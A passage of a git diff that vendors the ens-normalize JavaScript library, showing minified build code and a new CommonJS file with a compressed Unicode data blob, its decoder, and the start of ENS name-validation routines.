nA){for(let t of A.P)g(t);for(let t of A.Q)g(t)}for(let A of lA)rA.has(A)||C.has(A)||rA.set(A,y);r(lA,K(lA)),sA=function(A){let t=[],e=l(A);return function A({S:e,B:n},o,r){if(!(4&e&&r===o[o.length-1])){2&e&&(r=o[o.length-1]),1&e&&t.push(o);for(let t of n)for(let e of t.Q)A(t,[...o,e],r)}}(function t(n){return{S:A(),B:i((()=>{let n=l(A).map((A=>e[A]));if(n.length)return t(n)})),Q:n}}([]),[]),t}(t).map((A=>W.from(A))).sort(Q),cA=new Map;for(let A of sA){let t=[cA];for(let e of A){let A=t.map((A=>{let t=A.get(e);return t||(t=new Map,A.set(e,t)),t}));e===Y?t.push(...A):t=A}for(let e of t)e.V=A}}function fA(A){return(CA(A)?"":`${pA(aA([A]))} `)+C(A)}function pA(A){return`"${A}"‎`}function aA(A,t=1/0,e=C){let n=[];wA(A[0])&&n.push("◌"),A.length>t&&(t>>=1,A=[...A.slice(0,t),8230,...A.slice(-t)]);let o=0,r=A.length;for(let t=0;tA.slice()))}function BA(A,t){iA();let e=t?K:z;return A.split(Z).map((A=>B(IA(g(A),e,bA).flat()))).join(Z)}function QA(A){return DA(MA(A,z,bA))}function dA(A){let t=MA(A,z,(A=>A));for(let{type:A,output:e,error:n}of t){if(n)break;"Greek"!==A&&uA(e,958,926)}return DA(t)}function uA(A,t,e){let n=0;for(;;){let o=A.indexOf(t,n);if(o<0)break;A[o]=e,n=o+1}}function EA(A,t){return MA(A,z,t?A=>A.slice():bA)}function MA(A,n,o){if(!A)return[];iA();let r=0;return A.split(Z).map((A=>{let l=g(A),s={input:l,offset:r};r+=l.length+1;try{let A,r=s.tokens=IA(l,n,o),c=r.length;if(!c)throw new Error("empty label");let i=s.output=r.flat();if(function(A){for(let t=A.lastIndexOf(95);t>0;)if(95!==A[--t])throw new Error("underscore allowed only at start")}(i),!(s.emoji=c>1||r[0].is_emoji)&&i.every((A=>A<128)))!function(A){if(A.length>=4&&A[2]==j&&A[3]==j)throw new Error(`invalid label extension: "${B(A.slice(0,4))}"`)}(i),A="ASCII";else{let n=r.flatMap((A=>A.is_emoji?[]:A));if(n.length){if(_.has(i[0]))throw mA("leading combining mark");for(let A=1;AX(A,e)));if(!A.length)throw nA.some((A=>X(A,e)))?kA(t[0],e):hA(e);if(t=A,1==A.length)break}return t}(o);!function(A,t){for(let e of t)if(!X(A,e))throw kA(A,e);if(A.M){let A=K(t);for(let t=1,n=A.length;te)throw new Error(`excessive non-spacing marks: ${pA(aA(A.slice(t-1,o)))} (${o-t}/${e})`);t=o}}}(l,n),function(A,t){let e,n=[];for(let A of t){let t=rA.get(A);if(t===y)return;if(t){let n=t.M.get(A);if(e=e?e.filter((A=>n.has(A))):v(n),!e.length)return}else n.push(A)}if(e)for(let t of e)if(n.every((A=>X(t,A))))throw new Error(`whole-script confusable: ${A.N}/${t.N}`)}(l,o),A=l.N}else A="Emoji"}s.type=A}catch(A){s.error=A}return s}))}function DA(A){return A.map((({input:t,error:e,output:n})=>{if(e){let n=e.message;throw new Error(1==A.length?n:`Invalid label ${pA(aA(t,63))}: ${n}`)}return B(n)})).join(Z)}function hA(A){return new Error(`disallowed character: ${fA(A)}`)}function kA(A,t){let e=fA(t),n=nA.find((A=>A.P.has(t)));return n&&(e=`${n.N} ${e}`),new Error(`illegal mixture: ${A.N} + ${e}`)}function mA(A){return new Error(`illegal placement: ${A}`)}function IA(A,t,e){let n=[],o=[];for(A=A.slice().reverse();A.length;){let r=RA(A);if(r)o.length&&(n.push(t(o)),o=[]),n.push(e(r));else{let t=A.pop();if(lA.has(t))o.push(t);else{let A=q.get(t);if(A)o.push(...A);else if(!$.has(t))throw hA(t)}}}return o.length&&n.push(t(o)),n}function bA(A){return A.filter((A=>A!=Y))}function RA(A,t){let e,n=cA,o=A.length;for(;o&&(n=n.get(A[--o]),n);){let{V:r}=n;r&&(e=r,t&&t.push(...A.slice(o).reverse()),A.length=o)}return e}const UA="valid",NA="mapped",JA="ignored",xA="disallowed",HA="emoji",FA="nfc",GA="stop";function OA(A,{nf:t=!0}={}){iA();let e=g(A).reverse(),n=[],o=[];for(;e.length;){let A=RA(e,n);if(A)o.push({type:HA,emoji:A.slice(),input:n,cps:bA(A)}),n=[];else{let A=e.pop();if(A==T)o.push({type:GA,cp:A});else if(lA.has(A))o.push({type:UA,cps:[A]});else if($.has(A))o.push({type:JA,cp:A});else{let t=q.get(A);t?o.push({type:NA,cp:A,cps:t.slice()}):o.push({type:xA,cp:A})}}}if(t)for(let A=0,t=-1;ALA(A.type)?A.cps:[])),l=z(r);Q(l,r)?(o.splice(t,e-t,{type:FA,input:r,cps:l,tokens0:SA(n),tokens:OA(B(l),{nf:!1})}),A=t):A=e-1,t=-1}else t=A;else e.type!==JA&&(t=-1)}return SA(o)}function LA(A){return A==UA||A==NA}function PA(A){return A.some((A=>eA.has(A)))}function SA(A){for(let t=0;tA.cps))})}return A}function VA(A){return A.map(w).join(" ")}function KA(){let A=document.createElement("span");return A.classList.add("arrow"),A.innerHTML="➔",A}function zA(A,t){let e=document.createElement("span");return 8205==A?(e.classList.add("mod","zwj"),e.innerText="ZWJ"):8204==A?(e.classList.add("mod","zwj"),e.innerText="ZWNJ"):65039==A?(e.classList.add("mod","dropped","style"),e.innerText="FE0F"):8419==A?(e.classList.add("mod","keycap"),e.innerText="Keycap"):A>=917537&&A<=917630?(e.classList.add("mod","tag"),e.innerText=String.fromCodePoint(A-917504)):917631==A?(e.classList.add("mod","tag","end"),e.innerText="⌫"):!t&&CA(A)?(e.classList.add("code"),e.innerText=w(A)):e.innerText=aA([A]),e}function jA(A,t){let e=Object.entries(A).map((([A,t])=>`${A}: ${t}`));return Array.isArray(t)&&e.push(...t),e.join("\n")}function TA(A,{before:t=!1,tld_class:e=!0,components:n=!1,emoji_url:o="https://emojipedia.org/%s",extra:r=(()=>{})}={}){let l=document.createElement("div");return l.classList.add("tokens"),l.append(...A.map(((l,s)=>{let c;switch(l.type){case"emoji":{c=document.createElement(o?"a":"span"),o&&(c.href=o.replace("%s",String.fromCodePoint(...l.emoji)));let A=t?l.input:l.cps;n?c.append(...A.map((A=>zA(A,!0)))):c.innerText=String.fromCodePoint(...l.emoji),c.title=jA({Type:"Emoji",Hex:VA(A),Beautified:VA(l.emoji)},r(l.type,A));break}case"nfc":{c=document.createElement("div");let A=l.tokens0.flatMap((A=>"valid"===A.type?A.cps:A.cp)),e=TA(l.tokens0.flatMap((A=>"valid"===A.type?A.cps.map((A=>({type:"valid",cps:[A]}))):A)),{components:n,before:t,emoji_url:o,extra:r});if(e.title=jA({Type:"NFC (Unnormalized)",Hex:VA(A)},r(l.type,A)),c.append(e),!t){let A=TA(l.tokens,{components:n,emoji_url:o,extra:r});A.title=jA({Type:"NFC (Normalized)",Hex:VA(l.cps)},r(l.type,l.cps)),c.append(KA(),A)}break}case"valid":{c=document.createElement("span");let t=aA(l.cps);e&&(1==A.length||s===A.length-1&&"stop"===A[s-1].type)&&/[a-z]/.test(t)&&(c.dataset.tld=t),c.innerText=t,c.title=jA({Type:"Valid",Hex:VA(l.cps)},r(l.type,l.cps));break}case"mapped":{c=document.createElement("div");let A=document.createElement("span");if(A.classList.add("before"),A.innerText=aA([l.cp]),A.title=jA({Type:"Mapped (Match)",Hex:w(l.cp)},r(l.type,[l.cp])),c.append(A),!t){let A=document.createElement("span");A.innerText=l.cps.map((A=>aA([A]))).join("​"),A.title=jA({Type:"Mapped (Replacement)",Hex:VA(l.cps)},r(l.type,l.cps)),c.append(KA(),A)}break}case"stop":case"ignored":case"disallowed":c=zA(l.cp),c.title=jA({Type:l.type,Hex:w(l.cp)},r(l.type,[l.cp]));break;default:throw new TypeError(`unknown token type: ${l.type}`)}return c.classList.add(l.type),c}))),l}function ZA(){let A=document.createElement("style");A.innerText='\n\t.tokens {\n\t\tdisplay: flex;\n\t\tflex-wrap: wrap;\n\t\tgap: 2px;\n\t}\n\t.tokens > * {\n\t\tpadding: 2px 4px;\n\t\tdisplay: flex;\n\t\talign-items: center;\n\t\tgap: 4px;\n\t\tborder-radius: 5px;\n\t\toverflow: hidden;\n\t}\n\t.tokens a {\n\t\ttext-decoration: none;\n\t}\n\t.tokens a:hover {\n\t\tborder-color: #00f;\n\t}\n\t.tokens .valid {\n\t\tbackground: #cfc;\n\t\tborder: 2px solid #0a0;\n\t\tline-break: anywhere;\n\t}\n\t.tokens [data-tld="eth"].valid {\n\t\tcolor: #fff;\n\t\tbackground: #58f;\n\t\tborder-color: #58f;\n\t}\n\t.tokens [data-tld="art"].valid {\n\t\tcolor: #fff;\n\t\tbackground: #333;\n\t\tborder-color: #333;\n\t}\n\t.tokens [data-tld="box"].valid {\n\t\tcolor: #fff;\n\t\tbackground: #666;\n\t\tborder-color: #666;\n\t}\n\t.tokens [data-tld="com"].valid,\n\t.tokens [data-tld="net"].valid,\n\t.tokens [data-tld="org"].valid,\n\t.tokens [data-tld="io"].valid,\n\t.tokens [data-tld="cash"].valid,\n\t.tokens [data-tld="xyz"].valid {\n\t\tcolor: #fff;\n\t\tbackground: #0a0;\n\t\tborder-color: #0a0;\n\t}\n\t.tokens .ignored {\n\t\tcolor: #fff;\n\t\tbackground: #aaa;\n\t\tfont-size: 75%;\n\t\tfont-family: monospace;\n\t}\n\t.tokens .disallowed {\n\t\tbackground: #c00;\t\n\t\tmin-width: 5px;\n\t\tmin-height: 1em;\n\t\tborder-radius: 5px;\n\t\tcolor: #fff;\n\t}\n\t.tokens .disallowed.code {\n\t\tfont-size: 75%;\n\t\tbackground: #800;\n\t}\n\t.tokens .disallowed.mod {\n\t\tborder: 2px solid #800;\n\t\tfont-size: 80%;\n\t}\n\t.tokens .disallowed.mod.tag {\n\t\tbackground: #f00;\n\t\tcolor: #000;\n\t}\n\t.tokens .mapped {\n\t\tdisplay: flex;\n\t\tborder: 2px solid #66f;\n\t\tbackground: #ccf;\n\t}\n\t.tokens .mapped span:first-child {\n\t\tmargin-bottom: -4px;\n\t\tborder-bottom: 4px solid #000;\n\t\ttext-align: center;\n\t\tmin-width: 0.5rem;\n\t}\n\t.tokens .stop {\n\t\tfont-weight: bold;\n\t\tbackground: linear-gradient(#fff, #ff0);\n\t\tpadding-bottom: 0;\n\t\tborder: 1px solid #ccc;\n\t}\n\t.tokens .emoji {\n\t\tborder: 2px solid #0aa;\n\t\tbackground: #cff;\n\t\tcolor: #000;\n\t}\n\t.tokens .mod {\n\t\tcolor: #fff;\n\t}\n\t.tokens * .mod {\n\t\tfont-size: 70%;\n\t\tpadding: 2px;\n\t\tborder-radius: 3px;\n\t}\n\t.tokens .emoji .mod {\n\t\tbackground: #333;\n\t}\n\t.tokens .emoji .mod.zwj {\n\t\tbackground: #0aa;\n\t}\n\t.tokens .emoji .mod.tag {\n\t\tbackground: #0aa;\n\t}\n\t.tokens .emoji .mod.tag.end {\n\t\tbackground: #066;\n\t}\n\t.tokens .emoji .mod.dropped {\n\t\tbackground: #aaa;\t\t\n\t}\n\t.tokens .arrow {\n\t\tcolor: rgba(0, 0, 0, 0.35);\n\t\tuser-select: none;\n\t\tmargin: 0 -2px;\n\t}\n\t.tokens .code {\n\t\tfont-family: monospace;\n\t}\n\t.tokens .nfc {\n\t\tdisplay: flex;\n\t\tborder: 2px solid #c80;\n\t\tbackground: #fd8;\n\t\tborder-radius: 5px;\n\t\tpadding: 2px;\n\t}',document.body.append(A)}var YA=Object.freeze({__proto__:null,base64_ens_hash:"0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32",base64_nf_hash:"a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e",built:"2023-09-25T01:01:55.148Z",cldr:"43.1 (2023-09-03T21:58:22.687Z)",derived:"2023-09-06T06:00:29.074Z",spec_hash:"1f6d3bdb7a724fe3b91f6d73ab14defcb719e0f4ab79022089c940e7e9c56b9c",unicode:"15.1.0 (2023-09-06T02:58:19.261Z)",version:"1.10.1"});export{Q as compare_arrays,TA as dom_from_tokens,dA as ens_beautify,gA as ens_emoji,QA as ens_normalize,BA as ens_normalize_fragment,EA as ens_split,OA as ens_tokenize,g as explode_cp,w as hex_cp,wA as is_combining_mark,z as nfc,K as nfd,C as quote_cp,d as random_choice,u as random_sample,E as run_tests,aA as safe_str_from_cps,CA as should_escape,B as str_from_cps,ZA as use_default_style,YA as versions}; diff --git a/node_modules/@adraffy/ens-normalize/dist/index-xnf.cjs b/node_modules/@adraffy/ens-normalize/dist/index-xnf.cjs new file mode 100644 index 000000000000..472a73b79232 --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/index-xnf.cjs @@ -0,0 +1,1077 @@ +'use strict'; + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-ens data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 +var COMPRESSED = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/cwBB6QH9LQDPDtO9ASNriQC5DQANAwCK21EFI91zHwCoL9kBqQcHBwcHKzUDowBvAQohPvU3fAQgHwCyAc8CKQMA5zMSezr7ULgFmDp/LzVQBgEGAi8FYQVgt8AFcTtlQhpCWEmfe5tmZ6IAExsDzQ8t+X8r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4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; +const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); +const NSM_MAX = 4; + +function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); +} + +// returns an iterator which returns the next symbol +function read_payload(v) { + let pos = 0; + return () => v[pos++]; +} +function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); +} + +// unsafe in the sense: +// expected well-formed Base64 w/o padding +// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 +function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; +} + +// eg. [0,1,2,3...] => [0,-1,1,-2,...] +function signed(i) { + return (i & 1) ? (~i >> 1) : (i >> 1); +} + +function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; +} + +// [123][5] => [0 3] [1 1] [0 0] +function read_sorted(next, prev = 0) { + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; +} + +function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); +} + +// returns map of x => ys +function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); +} + +// read until next is falsy +// return array of read values +function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; +} + +// read w columns of length n +// return as n rows of length w +function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; +} + +// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] +// where dx/dy = steps, n = run size, w = length of y +function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); +} + +// return [[x, ys...], ...] +// where w = length of y +function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); +} + + +function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } +} + +function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); +} + +function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" +} + +/* +export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); +} +*/ +function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; +} + +function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); +} + +function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; +} + +// reverse polyfill +// replace custom nf implementation with system implementation +// (saves approximately 6KB) + + +function nf(cps, form) { + return explode_cp(str_from_cps(cps).normalize(form)); +} + +function nfc(cps) { + return nf(cps, 'NFC'); +} +function nfd(cps) { + return nf(cps, 'NFD'); +} + +const HYPHEN = 0x2D; +const STOP = 0x2E; +const STOP_CH = '.'; +const FE0F = 0xFE0F; +const UNIQUE_PH = 1; + +// 20230913: replace [...v] with Array_from(v) to avoid large spreads +const Array_from = x => Array.from(x); // Array.from.bind(Array); + +function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); +} + +class Emoji extends Array { + get is_emoji() { return true; } // free tagging system +} + +let MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + +function init() { + if (MAPPED) return; + + let r = read_compressed_payload(COMPRESSED); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + NFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } +} + +// if escaped: {HEX} +// else: "x" {HEX} +function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); +} + +// 20230211: some messages can be mixed-directional and result in spillover +// use 200E after a quoted string to force the remainder of a string from +// acquring the direction of the quote +// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions +function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR +} + +function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } +} +function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } +} +// check that a fenced cp is not leading, trailing, or touching another fenced cp +function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); +} + +// create a safe to print string +// invisibles are escaped +// leading cm uses placeholder +// if cps exceed max, middle truncate with ellipsis +// quoter(cp) => string, eg. 3000 => "{3000}" +// note: in html, you'd call this function then replace [<>&] with entities +function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); +} + +// note: set(s) cannot be exposed because they can be modified +// note: Object.freeze() doesn't work +function is_combining_mark(cp) { + init(); + return CM.has(cp); +} +function should_escape(cp) { + init(); + return 